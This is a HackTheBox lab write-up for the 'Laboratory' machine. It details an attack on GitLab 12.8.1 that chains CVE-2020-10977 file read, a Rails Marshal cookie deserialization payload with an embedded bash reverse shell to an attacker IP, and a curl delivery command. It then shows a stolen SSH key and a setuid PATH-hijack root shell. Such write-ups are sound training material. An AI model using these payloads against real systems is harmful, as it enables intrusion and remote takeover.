HTB: Laboratory Writeup
Laboratory - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Laboratory |
| OS | Linux |
| Difficulty | Easy |
| Points | N/A |
| Release Date | 16th April 2021 |
| IP Address | 10.10.10.216 |
| Author | d3vn0mi |
Machine Rating
⭐⭐☆☆☆ (2/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐⭐☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Laboratory is an easy difficulty Linux machine featuring a vulnerable GitLab 12.8.1 instance running in a Docker container. The machine exploits an arbitrary file read vulnerability (CVE-2020-10977) combined with a Rails cookie deserialization attack to achieve remote command execution and initial foothold. After escaping the container by obtaining SSH credentials from an administrator’s private projects, privilege escalation is achieved through a setuid binary that executes chmod via a relative path, allowing for a simple PATH hijack to gain root access.
TL;DR: CVE-2020-10977 arbitrary read → Rails Marshal cookie RCE → Docker escape via stolen SSH keys → setuid PATH hijack → root shell.
Reconnaissance
Port Scanning
# Initial full port scanports=$(nmap -p- --min-rate=1000 -T4 10.10.10.216 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
# Detailed service enumerationnmap -sC -sV -p$ports 10.10.10.216Results:
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.380/tcp open http Apache httpd 2.4.29443/tcp open https Apache httpd 2.4.29Service Enumeration
HTTP/HTTPS Investigation
Browsing to port 80 reveals a redirect to laboratory.htb. The nmap output also discloses an additional hostname: git.laboratory.htb. Both must be added to /etc/hosts:
10.10.10.216 laboratory.htb git.laboratory.htblaboratory.htb: A corporate website for a security services company listing three employees, including CEO Dexter.
git.laboratory.htb: A GitLab Community Edition instance requiring authentication. By registering a new account with a valid laboratory.htb domain email, we can access the application.
Version Detection reveals GitLab 12.8.1 via the help menu.
Vulnerability Assessment
| Vulnerability | CVE | Severity | Status |
|---|---|---|---|
| Arbitrary File Read | CVE-2020-10977 | High | Exploitable |
| Rails Cookie Deserialization | N/A | High | Exploitable |
| Relative Path Execution (setuid) | N/A | High | Exploitable |
Initial Foothold
Step 1: GitLab Registration & Vulnerability Discovery
Create a user account on the GitLab instance with a valid @laboratory.htb email address. After researching CVE-2020-10977, we identify that GitLab versions ≤12.9.0 are vulnerable to arbitrary file read through image upload manipulation.
Step 2: Exploit CVE-2020-10977 - Arbitrary File Read
The vulnerability allows reading arbitrary files by creating projects and manipulating issue descriptions with directory traversal paths. An automated exploit simplifies this process:
# Use the publicly available CVE-2020-10977 exploitpython3 cve_2020_10977.py https://git.laboratory.htb arkanoid Password1!This exploit successfully reads files from the system. We target the GitLab secrets file:
# Goal: Extract secret_key_base from GitLab configurationStep 3: Extract secret_key_base
Using the arbitrary file read vulnerability, retrieve the secret_key_base value from the target’s secrets configuration. This value is essential for the Rails cookie exploitation.
Step 4: Set Up Local GitLab Instance for Payload Generation
To generate the malicious Marshal payload, set up a matching GitLab 12.8.1 instance:
# Install GitLab 12.8.1 (version must match target)# Add the proper repository and install the deb package
# Reconfigure GitLabsudo gitlab-ctl reconfigure
# Replace secret_key_base in the configurationsudo nano /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml# Paste the extracted secret_key_base value
# Restart servicessudo gitlab-ctl restartStep 5: Generate Malicious Rails Cookie
Access the GitLab Rails console on your local instance to craft the payload:
sudo gitlab-rails consoleExecute the following Ruby code to generate a Marshal-serialized reverse shell payload:
request = ActionDispatch::Request.new(Rails.application.env_config)request.env["action_dispatch.cookies_serializer"] = :marshalcookies = request.cookie_jarerb = ERB.new("<%= `bash -c 'bash -i>& /dev/tcp/10.10.14.22/4444 0>&1'` %>")depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@@result", ActiveSupport::Deprecation.new)cookies.signed[:cookie] = deprputs cookies[:cookie]This outputs the base64-encoded experimentation_subject_id cookie value.
Step 6: Execute Remote Command via Cookie Injection
Set up a netcat listener and send the malicious cookie:
# Terminal 1: Listen for reverse shellnc -lvnp 4444
# Terminal 2: Send the crafted cookie (replace with actual payload)curl -vvv 'https://git.laboratory.htb/users/sign_in' -k \ -b "experimentation_subject_id=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kidCNjb2Rpbmc6VVRGLTgKX2VyYm91dCA9ICsnJzsgX2VyYm91dC48PCgoIGBiYXNoIC1jICdiYXNoIC1pPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjIvNDQ0NCAwPiYxJ2AgKS50b19zKTsgX2VyYm91dAY6BkVGOg5AZW5jb2RpbmdJdToNRW5jb2RpbmcKVVRGLTgGOwpGOhNAZnJvemVuX3N0cmluZzA6DkBmaWxlbmFtZTA6DEBsaW5lbm9pADoMQG1ldGhvZDoLcmVzdWx0OglAdmFySSIMQHJlc3VsdAY7ClQ6EEBkZXByZWNhdG9ySXU6H0FjdGl2ZVN1cHBvcnQ6OkRlcHJlY2F0aW9uAAY7ClQ=-8fdb57c5b65cef79b38c842cc0a42570ff756636"Successfully gain shell access as user git inside the Docker container.
Step 7: Escape Docker Container - Elevate GitLab User
While in the container, leverage our GitLab access to gain administrative privileges:
gitlab-rails consoleExecute the following to escalate our registered user to admin:
user = User.find_by_username('arkanoid')user.admin = trueuser.save!Step 8: Extract Private SSH Key
After obtaining admin privileges, navigate to Dexter’s private projects via the GitLab UI. Locate and download the id_rsa private SSH key from the “SecureDocker” project.
Step 9: SSH Access to Host System
Transfer the private key to your local machine and authenticate:
# Set appropriate permissionschmod 600 id_rsa
# SSH as Dexter to escape the containerssh -i id_rsa dexter@10.10.10.216Obtain the user flag:
cat ~/user.txtPrivilege Escalation
Step 1: Enumeration - Identify SUID Binary
Run a privilege escalation enumeration script (e.g., linpeas) to identify unusual setuid binaries:
# Download and run linpeas or manually checkfind / -perm -4000 -type f 2>/dev/nullDiscovery: /usr/local/bin/docker-security has the setuid bit set.
Step 2: Analyze SUID Binary
Download the binary to your local machine for analysis:
scp -i id_rsa dexter@10.10.10.216:/usr/local/bin/docker-security ./docker-securityUse ltrace to trace system calls:
ltrace ./docker-securityOutput reveals the binary calls chmod using a relative path rather than an absolute path (e.g., chmod instead of /bin/chmod).
Step 3: PATH Hijacking - Create Malicious chmod
Create a C program that spawns a root shell:
#include <stdio.h>#include <unistd.h>#include <sys/types.h>#include <stdlib.h>
int main(){ setuid(0); system("/bin/bash"); return 0;}Compile the program:
gcc -o chmod chmod.cStep 4: Deploy Malicious Binary
Upload the compiled chmod to the target system:
scp -i id_rsa chmod dexter@10.10.10.216:/tmp/chmodStep 5: Execute Privilege Escalation
On the target system, manipulate the PATH to prioritize our malicious chmod:
export PATH=/tmp/:$PATH/usr/local/bin/docker-securityWhen docker-security executes chmod via the relative path, it will execute our malicious version in /tmp/, which runs with root privileges (due to the setuid bit) and spawns a root shell.
Step 6: Obtain Root Flag
Capture the root flag:
cat /root/root.txtAttack Chain Summary
User Registration (laboratory.htb domain) ↓CVE-2020-10977: Arbitrary File Read ↓Extract /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml ↓Local GitLab 12.8.1 Setup + secret_key_base Injection ↓Generate Malicious Rails Marshal Cookie ↓Cookie Injection → RCE (git user in Docker) ↓Escalate User to GitLab Admin (gitlab-rails console) ↓Extract Dexter's Private SSH Key (id_rsa) ↓SSH Access as dexter@laboratory.htb (Docker Escape) ↓User Flag Captured ↓Discover /usr/local/bin/docker-security (SUID Binary) ↓ltrace Analysis: Relative Path chmod Execution ↓Compile Malicious chmod → Upload to /tmp ↓PATH Hijacking: export PATH=/tmp/:$PATH ↓Execute docker-security → Root Shell ↓Root Flag CapturedTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
python3 | Execute CVE-2020-10977 exploit |
curl | Send HTTP requests with malicious cookies |
nc | Reverse shell listener |
ssh | Secure shell access to host system |
scp | Secure file transfer |
gitlab-rails | Rails console for payload generation and user escalation |
gcc | Compile C privilege escalation payloads |
ltrace | Trace system calls in binary analysis |
linpeas | Automated privilege escalation enumeration |
Key Learnings
Techniques Practiced
- CVE-2020-10977 Exploitation: Arbitrary file read via GitLab image upload manipulation
- Rails Cookie Deserialization: Crafting Marshal-serialized payloads for RCE
- Docker Container Escape: Leveraging compromised container admin access to extract host credentials
- SUID Binary Analysis: Using
ltraceto identify vulnerable relative path execution - PATH Hijacking: Creating malicious executables to exploit relative path vulnerabilities
- GitLab Administration: Elevating user privileges via
gitlab-rails console
Lessons Learned
-
Version Specificity Matters: The exploit requires matching the exact GitLab version (12.8.1) for successful payload generation, emphasizing the importance of version-specific tooling in security assessments.
-
Multi-Stage Exploitation: Complex vulnerabilities often require chaining multiple techniques—in this case, file read → cookie exploitation → container escape → privilege escalation.
-
Relative Paths Are Dangerous: Setuid binaries using relative paths (rather than absolute paths) create severe privilege escalation vectors through simple PATH manipulation.
-
Container Isolation is Not Absolute: Compromised services running in containers can provide access to the host system if proper isolation and credential management are not implemented.
-
Admin Privileges Cascade: Gaining administrative access to a GitLab instance exposes sensitive information (SSH keys, private projects) that can lead to lateral movement and system compromise.
-
Rails Internals Security: Understanding Rails deserialization behavior and cookie handling is critical for identifying server-side template injection and RCE vectors.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>